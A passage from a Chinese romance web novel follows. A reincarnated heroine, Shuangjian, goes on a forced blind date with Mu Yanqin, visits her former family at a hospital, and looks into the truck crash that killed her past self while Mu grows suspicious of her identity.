霜见不知道穆砚钦有没有信她,但是当天晚上陈芳妹告诉她,已经帮她约好第二天在一家西餐厅和那个姓穆的小伙子见面。
霜见诧异穆砚钦居然会愿意和自己相亲,不过她确实要去和他把话说清楚,免得他继续误会自己。
翌日,霜见先到的餐厅,她坐在靠窗的位置,二十分钟后一辆车停在餐厅门前,姚全芙下车,从副驾驶把穆砚钦拖了出来。
“你这个不见,我还会给你介绍下一个,下一个不行,还有下下个,你爸都要再婚了,你怎么也得头婚吧?反正躲得过初一,躲不过十五,你自己看着办。”
穆砚钦比面前的老太太高出太多,被老太太往外拉,又不敢反抗怕伤了老太太,显得身形异常狼狈。
他恼怒让了半步,拍打被拧皱的衣服,不爽看了眼餐厅,恰好对上霜见视线,霜见表情尴尬,却不失礼貌朝他笑笑。
她就说穆砚钦怎么会愿意赴这个局,原来是被按头过来的。
穆砚钦表情并不友善,收回视线对姚全芙说:“我真是欠了你的,我去见,您老快回去吧。”
霜见今天在陈芳妹的监督下化了精致的妆,一袭白色欧根纱连衣裙,露出精致锁骨和白皙修长的脖颈,漂亮得周围人都会偷偷看她。
穆砚钦进来时目光也在她身上定了一瞬,但很快扯出一抹冷笑,扯开椅子大马金刀坐下。
霜见冲他莞尔,小梨涡甜而不腻,她语气诚恳:“你不要误会,我真不知道是你。”
“不知道是我还打扮成这样,要知道是我不得飞趟韩国。”
霜见知道解释不清,算了,这人虽软硬不吃,但软点他说不定还能愿意喝点。
她弯腰给他倒了杯柠檬水:“你想吃什么?我今天请你。”
“干嘛?还指望我下次回请你,心思真多。”
霜见深吸一口气,继续哄:“没有,就是不想你破费。”
谁让他没钱全是因为接手她的知音才导致的呢,看在他开了那么多知音的份上,她也不
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能让他花钱。
穆砚钦面色一沉,这是觉得自己没钱?
他十分不悦叫来服务生。
“你们餐厅最贵的都有哪些?”
服务生态度谦恭,翻开手里菜单,徐徐说道:“我们家的惠灵顿牛排是招牌,还有波士顿龙虾意面,黑松露蘑菇汤,鱼子酱龙鳕慕斯......”
服务生越说,霜见眉头蹙得越紧。
穆砚钦听了半天说:“就这些,一样两份,谢谢。”
霜见捏紧自己手机,这是要扒她一层皮。
等菜上齐,桌上摆得满满当当,霜见不喜欢吃西餐,但是这些菜价格不菲,她只能埋头苦吃。
穆砚钦还很贴心地给她点了杯秀兰邓波。
“我还要开车就不陪你喝了,你吃好喝好。”
霜见的心在滴血,这顿饭她几节课白上,不过吃都吃了,怎么也得有点收获,她端起杯盏呷了一口,对穆砚钦道:“跟你商量个事。”
穆砚钦切牛排的动作很优雅,挑眉抬眼,示意她说。
“我们回去就和家里老太太说,感觉对方还不错行吗?”
穆砚钦闻言放下手中刀叉,面露不悦,一副你还真是得寸进尺的表情,他才欲开口。
霜见忙道:“你别急,我就是不想再去见别的相亲对象,你肯定也是,就和家里说我们试着接触对方,不说在交往也不说不合适,这样他们也能暂时歇了再给我们介绍对象的心思,我们也能清静点。”
穆砚钦拾起桌上刀叉,切起牛排,送了一小块到嘴里才轻“嗯”了声。
他家老太太也说了,这个不行还有下一个,下下个,穆敬桥再婚刺激到老太太了,以往只是催他,现在好像要动真格的了。
霜见见他模样傲娇,但总归是答应了,心里一喜,又喝了一口面前的鸡尾酒。
随即,小腹一阵热流涌过,坠胀感明显,她心道不好,自她穿成霜见还没来过例假。
她放下酒杯,提起包对穆砚钦说:“我去趟洗手间。”
到了洗手间一查看,果然来例假了。
她蹲在厕所半天,想等人能救她,可来了几人都没带卫生巾。
穆砚钦可能是等得不耐烦了发来微信:【阮老师,你这是想逃单?】
霜见天人交战一番,她这么蹲在厕所也不是个事,羞窘地回复:【砚钦哥,能麻烦你帮我去买包卫生巾吗?】
16. 第 16 章
穆砚钦看到霜见的消息愣了一瞬。
还真不见外。
穆砚钦:【......你还真拿我当你男朋友了?】
霜见:【拜托你了,现在我也不方便出去。】
【小狗拜拜.jpg】
穆砚钦熄灭屏幕,丢下手机。
他也不爱吃西餐,在国外留学那两年吃够了,面前的牛排好像和他有仇,他割的每一刀都带有情绪。
穆砚钦今天穿了件深色V领T恤显得皮肤极白。
宽硕的肩连着遒劲的臂膀,随着切牛排的动作,肌肉收缩贲张,男性荷尔蒙就这样悄无声息落在旁人眼中。
两个女人偷看了半天,从那张无可挑剔的侧颜到令人脸红心跳的身材,终于鼓足勇气推推搡搡来到他身边。
穆砚钦感受到身侧的黑影,侧眸看了一眼,继续垂头切牛排。
其中一个女生长得娇憨可爱,她说:“帅哥,能交个朋友吗?”
穆砚钦默然无声,当没听见。
另一个美艳女人勾了勾唇,向前进了半步,弯腰,胳膊压在桌沿,抹胸下的风光乍现。
穆砚钦本能向旁让了半个身子,皱眉看向女人,“没见过男人?”
那女人笑容凝滞,动作僵住。
在穆砚钦冰冷的视线里,她缓缓直起身,“我,我就是想加个微信。”
“你这样子是就想加个微信?”他表情着实有些侮辱人。
那女人脸顿时羞红。
穆砚钦顿了半秒,捞起桌上手机,点开微信与霜见对话框。
那女人见穆砚钦拿手机以为有戏,唇角再度翘起。
就听穆砚钦突然问:“你俩有卫生巾吗?”
“啊?”两人异口同声。
“我问你们有没有卫生巾?”
两个女人神情顿时变的古怪。
穆砚钦视线在两人脸上扫过,不耐烦道:“有就卖给我,没有就别杵这了。”
那个可爱女生愣愣点头,“我,我有。”
她低头在包里翻找出半包卫生巾递给穆砚钦,弱弱问:“能问一下,你要卫生巾干嘛吗?”
穆砚钦接过,眼皮未掀,“我用。”不耐烦扫了可爱女生一眼,“收款码。”
那女人动作迟滞点开二维码,穆砚钦转了她100块,“谢了。”
霜见蹲得腿都麻了,突然有人敲响她隔间的门,“是阮小姐吗?你男朋友让我把卫生巾送给你。”
“谢谢。”霜见干笑也没解释。
“不客气,你男朋友超帅的。”女人感慨一句离开了。
-
霜见看着手里的半包卫生巾陷入沉思,穆砚钦该不会是问人借的吧?
她收拾好自己赶紧去前台买单。
“小姐,您那桌已经买过单了。”
霜见这下更不好意思了,她回到穆砚钦对面坐下,“不好意思,麻烦你了。”
穆砚钦放下手机问:“好了?”
“嗯,卫生巾是你问人借的吗?还剩几片要不要还给别人。”
“你一片就够了?”
穆砚钦不觉得这是什么羞耻的事,所以问得很坦然,倒是把霜见问的有些羞赧。
“我现在出来了,可以自己去买。”
“哦,那你就留着用吧,是我花钱买的。”
霜见很错愕,为什么会买半包,在哪买的?
但是看见穆砚钦不耐烦的神色也没再多问,转而说:“你怎么买单了,说了我请你,多少钱我转给你。”
“不用了。”
“那我...”
穆砚钦打断霜见的话,“别,不用你下次再请。”
霜见抿唇,下意识低头去喝杯子里的鸡尾酒。
唇才碰到杯沿,穆砚钦“喂”了一声,霜见茫然抬头。
穆砚钦下巴朝她右手边扬了扬,是一小碗牛奶桃胶。
“店家送的。”又嘀咕:“喝醉了别指望我送你回去。”
霜见不情不愿把鸡尾酒推到一边,好贵的。
她捧起乳白色小碗,居然是温的,肚子还有点痛确实不能喝冰的,一口温热牛奶下肚,暖意胀满小腹很舒服。
“你还吃吗?不吃就撤了。”穆砚钦问她。
她还没来得及回话,包里的手机响起,是车妍笑打来的。
“诺诺,董阿姨进医院了。”
“啊?她怎么了?在哪个医院?我马上过去。”
车妍笑也不知道具体什么情况,只说是她老公在医院医保办工作,事出突然,阮言联系他老公帮忙安排的床位,听她老公意思是突然晕倒了。
霜见挂断电话对穆砚钦说:“抱歉,我还有事就先走了,下次,”想了想说:“今天谢谢你。”
穆砚钦听见她说话内容,知道应该是什么人住院了,还算大发善心问她:“需要我送你吗?”
霜见觉得穆砚钦这人嘴上说话刻薄,心比他嘴善良多了,她心里着急也没有客气。
-
在距离医院还有几百米的地方堵得水泄不通,车妍笑又打来一通电话。
这次在密闭的空间里,两人又离得近,穆砚钦似乎听到了对面是车妍笑的声音。
他和车妍笑算不上熟,他们俩,一个是阮诺的朋友,一个是楚川的朋友,见过面,但次数有限。
他听声音很像,但不敢确定。
他不动声色瞥了霜见一眼,“是家里什么人生病了吗?”
霜见这会心急如焚,看着前方一动不动的车龙,敷衍的“嗯”了声。
她解开安全带,对穆砚钦道:“我就在这边下,今天谢谢你。”
霜见推门下车,六月的上虞天气已经十分闷热,走了没两分钟浑身已经湿透。
车龙缓缓向前移动,穆砚钦车开到医院门前时,正巧看见霜见打着电话进了医院。
他才准备从医院前开过就看见同样在打电话的车妍笑也急匆匆往医院里走。
确定了之前打电话给霜见的就是车妍笑,穆砚钦调转车头,将车开进了医院。
-
霜见在住院部大厅和车妍笑碰面,车妍笑带着她找到董音竹的病房。
到了病房门口,霜见脚步踟躇,董音竹不能见她,见到她只会崩溃。
医院里消毒水的味道刺鼻,那股味道像是通过鼻腔直往她心里钻,莫名不舒服。
护士推着小推车从她身边经过,“让一让。”
霜见急忙侧过身靠墙边站定,她深呼吸道:“妍笑,你去看吧,问问什么情况,我就不进去了,她见不了我。”
车妍笑想到现在霜见的身份,无奈点头,“行,那你到那边坐下等我,我进去问问情况就来找你。”
霜见颔首,但她并没有去找座椅休息,而是在董音竹的病房外倚墙站着。
片刻后,病房门突然被人拉开,霜见以为是车妍笑,抬头看过去,出来的是个气质儒雅的中年男人,鼻梁架着副眼镜,头发梳得一丝不苟,标准的知识分子模样。
这人正是她的爸爸阮亚则。
霜见鼻子发酸,她忍着冲上去的冲动,努力牵起唇角。
阮亚则看见她一愣,镜片下的瞳孔骤然收缩。
他往病房里看了一眼带上门,走到霜见身边,“是霜见吧?”声音很干涩。
霜见意外他能认识自己,“您认识我?”
阮亚则长叹一声,“认识,你冯伯父也是我朋友。”
冯伯父就是当初介绍原主到她这里上课的父亲好友,霜见了然,多半是出事后冯叔和阮亚则提过原主。
她以为阮亚则也会和董音竹一样多少对她有些怨怼,但并没有,他依然温言细语同她说话。
“你就别进去了,你董阿姨没什么事,这段时间没有好好吃药,今天为了点小事和我争吵,一时急火攻心晕了过去。”
“你们又吵了?”霜见条件反射问了出来。
阮亚则诧异看向她,她意识到不妥,忙解释:“哦,我最近认识了妍笑,说到阮诺姐姐才知道这么巧她原来是阮诺姐姐朋友,所以也问了她一些你们家里的事。”
阮亚则了然点头,“她一直这样,不靠药物没办法正常生活,所以她对你说了什么难听的话你也别往心里去,诺诺的事不能怪你。”
两人在门口聊了会,车妍笑出来,霜见依依不舍和阮亚则告别,才起身,阮亚则叫住她:“霜见啊。”
霜见回头看他,他目光闪了闪,笑着对她说:“你要是遇到什么困难可以来上虞师范大学找我,你冯伯父出国了,有些事他在国外也帮不了你,上次你董阿姨对你...唉!总之,有事可以跟我说。”
霜见从脚底升起一丝暖意,虽然不能相认,但这是她的爸爸,她自己知道就好。
她笑着道谢,和车妍笑离开。
车妍笑是从学校请假出来的,出了医院她还要赶回学校。
医院外只剩霜见一人,她拿出手机正准备打车,就听有道女声传来:“阮霜见。”
她朝声音方向看去,只见阮言戴着墨镜口罩朝她走来。
到了近前她摘下墨镜,“你是来医院看我妈的吗?”
霜见没说话,算是默认。
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“我记得我上次跟你说过,我妈不想见到你。”
“我只是担心她的身体,没有让她看见我。”
“我们家的事跟你无关,我妈妈的身体也不用你担心,希望你能明白我的意思。”
阮言个子不高,一家四口她的个头最小,1米58的身高此刻踩着双恨天高,霜见倒要稍微仰头才能与她对视。
她并没有疾言厉色,但态度却不算好,霜见没有答应她,仍然以沉默回应。
阮言见她这样也不愿多说,戴上墨镜一转身就看见路边停着的车,她很惊喜走过去,“砚钦哥?你怎么在这?是知道我妈妈生病来看她的吗?”
穆砚钦眉头蹙起,看了眼她身后的霜见,“董阿姨病了?”
“老毛病,没什么事。”
穆砚钦目光落在霜见身上若有所思,他问:“她是去看董阿姨的?”
阮言诧异问:“你认识她?”
“嗯,穆遥钢琴老师,你也认识?”
阮言撇撇嘴,眼泪瞬间在眼眶里打转。
“砚钦哥你还不知道吧,她就是我姐姐当初开车要去见的学生,要不是因为她,我姐姐也不会...”
她看了眼穆砚钦,“但是也不能怪她,她也不想,只是看见她难免会想到姐姐的死,她心里有愧,知道我妈生病就过来了,可是我妈并不想见到她。”
穆砚钦怔忡望着霜见,他没想到她竟然就是当初阮诺要去见的人。
不过他并没有不理智的把阮诺的死算在霜见头上,去见她是阮诺的意愿,只是大家都没想到一次普通的见面会是那样的结局。
况且阮诺的死就算不是意外,那罪魁祸首也不会是霜见。
可如果是这样的话,那她应该还没来得及见着阮诺,那她怎么会对阮诺的事那么熟悉。
还有《萤火虫》,她是怎么会弹的?
炎炎烈日下,蝉鸣声像是装了发条永不停歇,霜见听不见两人交谈声,但也能猜个大概。
她很识趣转身往另一个方向走,穆砚钦突然叫她:“阮霜见。”
霜见脸颊被午后的阳光晒得通红,鼻尖额头沁着一层薄汗,阳光似要射穿她,纤瘦的身影被镀上一层光晕。
本就雪白的肌肤此刻更加的白,眉眼轮廓变的不再清晰,她停住脚步遮着光看向他。
穆砚钦目光在她身上流连一瞬,语气平淡:“上车,我送你。”
霜见定定站在原地看着他的方向,半步未动。
他看着发愣的霜见又叫了句:“阮老师,上车。”语气变的不容拒绝。
霜见终于挪步走了过去,阮言看了她一眼,眼神意味不明。
霜见上了副驾,系好安全带。
穆砚钦对阮言道:“我先走了。”
他升起车窗,阮言突然出声:“等等。”
车窗停止上升。
“砚钦哥,我记得你说过伍靖导演是你朋友,他有部片子在筹备,有个女三的角色我很感兴趣,到时候你能不能帮忙引荐一下。”
穆砚钦点头,“等我回去就跟他打声招呼。”
阮言展颜,又瞥了眼霜见,朝他挥手,“好,谢谢砚钦哥了,路上注意安全。”
霜见坐在一边,悄咪咪观察两人互动,见两人说话语气态度熟络很纳罕,印象中穆砚钦和阮言认识但交集并不多。
不过她也没时间多想,随着穆砚钦升起车窗她开始坐立难安,倒不是怕穆砚钦会为阮诺打抱不平,毕竟他们之间关系没有好到那个份上。
况且,理性的人应该都不会把阮诺的死怪在原主头上,阮亚则还是自己爸爸呢,他不都没有责怪原主。
她忐忑是因为她曾经在穆砚钦面前说过谎,说阮诺教过自己弹钢琴,如今他知道真相,自己的谎言也将不攻自破。
车子在一个路口处停下,红灯倒计时90秒。
穆砚钦从中央扶手摸出一颗薄荷糖,“吃吗?”
“嗯,谢谢。”
他把糖丢给霜见,又打开扶手箱找出一颗,熟练地挤出蓝色糖果扔进自己口中。
穆砚钦整个人像是被薄荷腌制过,一旦靠近他,他身上清冽的薄荷味便会洇进周遭空气里。
霜见一度觉得他用的所有东西应该都是薄荷味的,洗发水、沐浴露、洗衣液...
阳光火辣照在身上,薄荷清凉萦绕鼻尖,极致的两种感受煎烤着霜见。
她沉默着思考接下来该怎么应对。
90秒的红灯过于漫长,她一秒一秒数着,就在还有最后十秒时,穆砚钦打破沉默:“你怎么认识车妍笑的?”
17. 第 17 章
霜见已经想好措辞,还算淡定回复:“我前男友是明杰的,和她同事,见过几次就熟悉了。”
穆砚钦没有质疑,发动车子驶过这个漫长的路口。
霜见呼吸轻浅,尽量不发出声响,减少自己的存在感。
穆砚钦瞥了她一眼问:“你在心虚什么?”
咔嚓,霜见咬碎嘴里薄荷糖,她也不知道自己在穆砚钦面前心虚什么。
说实话,她和他有交情但不算深厚,不至于怕他认出自己,也不信他会认出自己。
但她了解穆砚钦,他不好糊弄,她怕自己漏洞太多引他怀疑,到时候把她送到什么类似于749局的地方供人研究,她就完了。
这种事别人不好说,但眼前这人真能做得出来。
霜见上半身开始下意识前后小幅度晃动,双手拇指轻搓着食指指弯。
穆砚钦不动声色将她的小动作收入眼中。
“我没有,好好的心虚什么?”她唇角扯出抹弧度,笑意干涩。
穆砚钦左手掌着方向盘,右手食指轻敲大腿,他姿态闲适全然没有并继续追问的意思。
就当霜见以为这一茬就这么揭过时,他忽然抬起右手,一把拉过霜见手腕。
又是红灯,他踩下刹车,手中女人手腕纤细洁白柔弱无骨,他却无心感受,紧紧捉住,视线落在霜见指甲上。
霜见不知道他要做什么但是本能想缩回手,“穆砚钦,你干嘛?”
穆砚钦侧眸凝着她,眼神很冷,声音清淡中带着威压:“你涂指甲就涂指甲,为什么红色后一定要涂蓝色?”
“这是阮诺的习惯。”
霜见心脏漏跳一拍,她看向自己手指。
她没在意过自己每次涂指甲红色过后会涂什么颜色,或者说这是她的习惯,习惯到早已忽略自己有这样的习惯。
这种她自己都没在意的细枝末节穆砚钦居然注意到了。
霜见惊慌中不由多出些许错愕,穆砚钦这人看上去对什么都不关心,原来背地里在偷偷观察,怎么有点恐怖。
她突然想起邵亭岳之前在Tonight评价穆砚钦的话,“老处男多少都有点变态”。
想到这里猛然发现自己跑偏了。
“我就随便涂着玩的。”她嘴硬回道。
穆砚钦甩开她手。
她给穆遥涂的指甲就是这个规律,那天他观察过,她自己的也是。
偶然两次可能是巧合。
可是很多天过去,她现在的指甲明显已经重新涂过,可还是一样的习惯。
“你根本没见过阮诺,那你又怎么会弹《萤火虫》的?”
霜见喉间吞咽,握着自己的手腕转了转缓解疼痛,低声回应:“她托梦给我的,她说她很喜欢这首曲子。”
这也是她之前想好的托词,没办法,她实在想不到什么更好的借口。
穆砚钦唇角笑意讥讽,明显不信。
“她死了六年了,现在突然给你托梦了?”
“我去国外念书的,去年才回国。”
很牵强的理由,都托梦了还分在国内还是国外,托个梦还要坐飞机不成,穆砚钦冷笑一声。
霜见也知道托梦这种说法能信的只有车妍笑,可她还能怎么说,现实就是原主确实没见过她。
“信不信在你,我确实觉得对不住阮诺姐,可能日有所思夜有所梦,那天去她墓前看望过她,她就给我托梦了,她还说想让我帮她继续经营勤业路那家知音。”
她偷偷觑了眼穆砚钦,“还在梦里教了我《萤火虫》,至于她的喜好,我就是碰巧和她一样了,可能这就是我和她的缘分。”
霜见说完余光瞥向穆砚钦,只见他目视前方,唇角紧绷,面上没有多余表情。
可霜见知道她说的话,他估计一个字也不信。
不信就不信吧,反正问她,她只有这一种说法。
之后穆砚钦一路无言把她送到花语庭府。
她才下车他便扬长而去,霜见无奈看了眼自己指甲,回去还是都卸了吧。
霜见并没有急着回家,而是又打了辆车去了上虞老城区的一处筒子楼。
这里是之前车妍笑给她的卡车司机住址。
生了锈的铁质拱形门楼窄小简陋,进入大门,里面只有一栋筒子楼,楼体破败,混凝土墙面斑驳脱落露出里面红色墙砖,每层走廊过道上都堆满了东西。
这里灰扑扑一片,唯一的色彩就是蓝白相间的塑料膜间隔地出现在走廊上,它包裹着家里似乎很宝贝,却又没办法塞进家里的东西。
霜见上了三楼,在一处人家门前停下,一个佝偻着身体,满头白发的老太太正在门前扎废纸箱。
堆起的纸箱高出她两个头,她费力地把手上扎好的纸盒往最上方扔,扔了几次没上去。
霜见过来接过纸箱,她踮脚把纸箱放到顶上。
“谢谢姑娘。”
霜见本来有很多话想问,看到眼前景象,话咽了回去。
只默默帮着老太太把地上的空塑料瓶装进蛇皮袋里,又和她一起用塑料膜把她的宝贝遮起来。
老太太请她进屋喝水,霜见没推辞。
屋子很小,进门就是个小到只能放下一张桌子和一个灶台的客厅,或者说是餐厅,亦或是厨房。
霜见看见一面墙上挂着个中年男人的照片,男人很瘦,颧骨高高凸起,眼窝凹陷,一看就是凭苦力谋生的人。
这应该就是撞死自己的卡车司机王庆国。
王老太见她盯着自己儿子照片说:“这是我儿子,六年前出车祸死了。”
她说得很平静,听不出声音里有多少悲伤,或许时间早已抚平当年的心痛。
但霜见知道,作为母亲,过了再多年都不会对自己孩子的死释怀。
她递给霜见水杯。
霜见接过喝了口水,“您现在一个人吗?”
“还有个孙女,今年上高二。”
霜见点点头,把杯子放在桌上,看向墙上的照片问:“奶奶,我方便问一下您儿子是个什么样的人吗?”
王老太像是常年无人倾诉,终于找到了诉说对象,开始说起自己儿子的善良、孝顺,辛苦和不易。
正说着,一个小姑娘走了进来,女孩和照片上的男人有几分相似,她表情冷漠,进来一言不发就拽着霜见往外拖。
王老太忙过来拉扯:“霏霏,霏霏,你这是干嘛?这是客人,她今天还帮我不少忙呢。”
王霏霏停住脚步,愤怒看着王老太:“什么客人?奶奶,你看不出来吗?她就是来打听爸爸六年前那场车祸的,她和那个男人一样都没安好心,你以为真的是帮你吗?他们只是怀疑爸爸。”
她瞪着霜见问:“你姓什么?”
霜见如实告知:“阮。”
女孩冷笑:“阮,你也姓阮,阮诺是你什么人?你姐姐?我不知道你们为什么对当年的车祸不依不饶,死的不是只有你们的亲人,我爸爸也死了,是,车祸责任在他,可事已至此又能怎么办?要不你们把我和奶奶拉过去枪毙啊?为什么就不能放过我们,总是一而再再而三地来打扰我和奶奶的生活?”
霜见精准捕捉她话语里的“那个男人”,还有“你们”两个重要信息。
看来还有人对当年的车祸存疑,她急切询问:“还有谁来找过你们?你说的那个男人是不是姓楚?”
王霏霏没有回她,而是粗鲁地把她推出门外,砰地关上了门。
-
霜见休息这天,阮常梦又回来了。
这次她回来是特地告诉陈芳妹和霜见,现任男友儿子同意他们结婚了。
霜见心里毫无波动,她再不再婚与她无关。
陈芳妹则是懒得关注她这些破事,连那男的叫什么
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都没问,只让阮常梦带着她们祖孙俩去逛商场买东西。
“你以前换男人我不管也管不了,现在你这又要成家,往后再想给霜见买点什么还要看你男人脸色,今天我们三代一起去逛逛,往后我也不烦你了。”
陈芳妹做事向来我行我素,她朝霜见挤挤眼,手跟个铁钳似的死死抓着霜见,根本不给霜见拒绝的机会。
到了商场,阮常梦走在前面,陈芳妹在后面对霜见嘀咕:“你个死丫头,别给我掉链子,前面那个要再婚了,以后再想从她手上要东西估计比吃屎都难,她能给,她男人也不一定同意她给,错过这个村就没了这个店了,听到没?”
阮常梦在陈芳妹的淫威下给霜见买了不少东西,衣服首饰化妆品。
霜见看阮常梦的气质穿着能猜出她有钱,但没想到这么有钱,今天陈芳妹逮到她跟薅羊毛差不多,可她付钱时眼都不眨一下。
陈芳妹看她态度不错,对她和颜悦色许多。
中午三人在商场里的一家餐厅吃饭,才点好菜,阮常梦出去接了通电话。
回来后她对陈芳妹说:“妈,我男朋友刚打电话给我,下午要我陪他去参加一个酒会,这会我得回去了,单我已经买了,饭就你俩吃吧。”
陈芳妹从鼻腔里发出一声闷哼:“还酒会,真是猪鼻子插蒜,净会装象,去吧,去吧,正好看到你我也吃不下,走了才好。”
现在只剩两人,点的菜多根本吃不完,霜见想了想,打电话让车妍笑带女儿出来一起吃饭。
车妍笑女儿小名叫七喜,长得活泼可爱,特别讨喜。
一顿饭吃下来,七喜就被霜见攻略下来,一口一个干妈叫着。
霜见大方把阮常梦刚给她买的一个金镯子送给七喜。
陈芳妹也喜欢七喜,可见自家孙女眼都不眨把那么大个金镯子转手送人,眼睛都气得发直,但碍于车妍笑在,她硬生生忍着没当场发做。
吃完饭,车妍笑提议去逛逛商场里的知音。
霜见欣然同意。
原来这家商场还有家知音,怪不得她之前和纪琛融提分手时,在商场偶遇了穆砚钦。
几人上了五楼,知音琴行的招牌仍然是她经的手写字体。
陈芳妹只当她们来看琴,自己懒得进去便在琴行外的长椅上坐下等她们。
这家知音比勤业路的大很多,里面传出阵阵琴音,应该也有练琴室。
七喜家里有钢琴,可她没见过这么多钢琴,有点兴奋。
霜见怕她乱跑,便抱起她,在一架三角钢琴前弹起《萤火虫》片段。
七喜很给面子夸赞:“干妈好厉害!”
这时琴室门被人推开,霜见和车妍笑没注意,但坐在霜见怀里的七喜激动大喊:“大狗,快看,大狗。”
霜见和车妍笑循声望去,只见穆砚钦穿着一身黑站在琴室门口,他手里牵着糯糯,那双如墨的眸子正一瞬不瞬盯着霜见。
自从上次他送霜见回家,两人便没再见过,就连穆遥上课都是家里阿姨送来的。
突然的偶遇,让霜见有些猝不及防。
穆砚钦牵着糯糯踱步靠近,在离霜见还有一米时停下脚步,面冷气沉,眸光似要将霜见射穿。
七喜推开霜见揽在胸前的手,“干妈,放我下来,我要跟大狗玩。”
霜见没拉住,她灵活滑下,车妍笑眼疾手快拽住七喜。
她知道穆砚钦脾气不好,不敢让七喜不经他同意就去和他的狗玩。
她手里提溜着七喜衣领笑着招呼:“穆砚钦,好巧。”
“你女儿?”
“嗯,我女儿七喜。”又对七喜说:“七喜,叫叔叔。”
七喜问:“叔叔,我能跟你的狗玩吗?”
“可以。”他蹲下身直视七喜,“但是你得告诉我,”他略一偏头,指向霜见方向,“你刚刚叫她什么?”
18. 第 18 章
七喜听见穆砚钦让自己和大狗玩,笑得灿烂。
“干妈,她是干妈,你让我和你大狗玩,我喊你干爸。”
她不懂什么是干妈,但她知道干妈对应的称呼应该是干爸。
孩子童言童语,大人却很尴尬,车妍笑干笑着推七喜去和糯糯玩,“别乱说话。”
心道这哪是干爸,这是你干爸兄弟,你应该叫干大伯。
霜见以为穆砚钦又会冷嘲热讽自己几句,让自己别痴心妄想。
她等了会,却没听见穆砚钦开口,他维持之前蹲在七喜面前的动作背对着自己,不知在想些什么。
穆砚钦还在消化七喜的那句“她是我干妈”。
他记得楚川和阮诺领证不久,请所有朋友吃饭。
车妍笑酒喝多了,在饭桌上抱着阮诺不松手。
“以后你和楚川的孩子要认我做干妈。”
“那是一定的,只能认你做干妈。”
“我以后孩子的干妈也只能是你。”
说完抱着阮诺亲了一口。
阮诺无奈哄她,和她拉钩,“一言为定。”
现在她竟然让她的孩子喊别人干妈,她还能记得曾经和阮诺的约定吗?
他仔细琢磨两人关系,如果霜见说的是真的,那么她不过是车妍笑一个男同事的前女友。
他听秦追提过,霜见和她那个前男友在一起没几个月,那车妍笑认识她又能多长时间。
况且车妍笑曾经最要好的朋友还是因为去见霜见出的车祸,即使那件事不怪霜见,但也不至于短时间内两人关系匪浅到这种地步。
他越想越觉得事情蹊跷,心底那份说不清道不明的感受又在不断滋生,如藤蔓绞着他。
穆砚钦手里还拽着糯糯的牵引绳,七喜和糯糯原地转着圈疯闹。
他被糯糯的大幅度动作扽得身体晃动,快要蹲不稳时,他缓缓吐出口气,站起身。
扯了扯牵引绳,糯糯喘着气自觉走到穆砚钦身边,孩童清脆的笑声随之停下。
这时,陈芳妹走了进来,看见穆砚钦,先是一愣,而后激动。
“小伙子,你是不是姓穆啊?姚大妹子是你奶奶吧?”
穆砚钦被陈芳妹的大嗓门惊了一霎,转身看见那张满脸褶子的脸,心生疑惑,扭头看向霜见。
霜见忙朝他眨眨眼,欲盖弥彰道:“穆砚钦,这是我外婆。”又向陈芳妹介绍:“外婆,这就是穆砚钦。”
陈芳妹已经上下打量穆砚钦好几眼,附手在霜见耳边说:“这小伙子长得平头正脸的,看上去不显老。”
她觉得自己声音小,但老年人的声音小只是她自己听起来小,穆砚钦和车妍笑可是听得清清楚楚。
霜见尴尬不已,拉着陈芳妹朝她使眼色。
这剧情转得莫名其妙,车妍笑用口型问霜见怎么回事,霜见也用口型回复她回头再说。
陈芳妹看向穆砚钦的眼神太过赤裸裸,霜见想拉着她赶紧走。
可人还没拉动,就听陈芳妹说:“小穆啊,今天可真巧,难得遇到,要不跟我去家里吃个晚饭呀?”
霜见不明白陈芳妹怎么总喜欢把人往家喊。
她忙陪着笑脸说:“外婆,这琴行就是他的,他很忙的没时间,下次,下次有时间我...”
她还没说完,就听穆砚钦的声音响起:“好,那就麻烦外婆了。”
“你看,我就说他没时间...”
嗯?他刚刚好像说的不是没时间,而是...好?
陈芳妹对穆砚钦的长相实在满意,个子也高,她都望不到头顶。
这小伙子长得可比之前的小纪俊得不止一星半点。
拙鸣山公园真是块风水宝地,这个要是再吹了,她才次还得去,这越找越好了呢。
-
陈芳妹才进家门就请穆砚钦在沙发上坐下,又扭头对霜见说:“你去给小穆倒杯茶。”
支走霜见,她拖来一张凳子,在穆砚钦对面坐下,两人中间隔着糯糯。
糯糯吐着舌头蹲坐在穆砚钦脚前看着陈芳妹。
陈芳妹嫌它碍事,抬手拨开它脑袋问:“小穆啊,你和我们霜见相处这段时间觉得她怎么样?”
“挺好的。”
她抬手摁住糯糯蠢蠢欲动的脑袋。
“我们霜见确实是打着灯笼都难找的,她也觉得你不错,既然你们都觉得对方不错,可得好好处。”
穆砚钦不置可否,他站起身说:“外婆我想多了解了解她,能去她卧室看看吗?”
“能,怎么不能。”她指向霜见房间,“那就是她房间。”
霜见卧室宽敞明亮,干净整洁,可以看出房间的主人是个做事很有条理,很爱干净的人。
穆砚钦目光搜寻一圈,视线最终落在床头柜上的玻璃花瓶上,花瓶里插着几株鲜花。
穆砚钦走上前,拿起花瓶,仔细端详那束花,色彩已经褪去,乳白色的花瓣近乎透明,是快要凋零的落日珊瑚。
霜见站在门口,叫了一声:“穆砚钦。”
穆砚钦握着花瓶回头看她。
她走近接过他手里花瓶,“这是落日珊瑚,很美的芍药。”
“我认识。”
霜见身形微顿,想到过去,心中了然,他确实认识。
高二时,一天放学回家,她到家门外就听见妈妈和爸爸吵架,她没进家门转身出了小区,漫无目的在马路上闲逛。
那天她遇到了穆砚钦,她本就无处可去,便不自觉跟着他的脚步,随了他的方向。
穆砚钦走了几步,感受到身后不远不近的动静,回头,眼神询问她有什么事。
她止住脚步,“你去哪?是回家吗?还是去找楚川他们?”
要是回家她就不跟着了,要是去找楚川,她就一起去。
“不回家,也不找楚川。”
“那你去哪?”
“找地方写作业。”
之后,他没再说话,而她就那么厚着脸皮跟在他的身后。
直到眼前出现一栋白色的两层小楼,阮诺这才后知后觉,自己跟着穆砚钦来到了个完全陌生的地方。
“这是哪?”
“不知道是哪还跟着,也不怕我把你卖了。”
阮诺笑眯眯的,“我都不到90斤,称了也卖不了多少钱。”
当自己是小猪呢,还论斤卖。
穆砚钦轻笑了声,钥匙插进锁孔,忽然转身问她:“看花吗?”
“嗯?”
“花,看不看?”
阮诺心底狐疑却还是点了点头。
她跟着穆砚钦从室外钢架楼梯爬上天台。
当穆砚钦打开铁门,杂乱的花香便扑鼻而来,跨进门内,阮诺被眼前景色震撼。
绿叶鲜花铺满整个天台,微风习习,花浪层层叠叠摇曳。
“哇!这里好漂亮,这到底是什么地方?”
“我妈曾经的工作室。”
霜见欣赏着满天台的花草,了然点头。
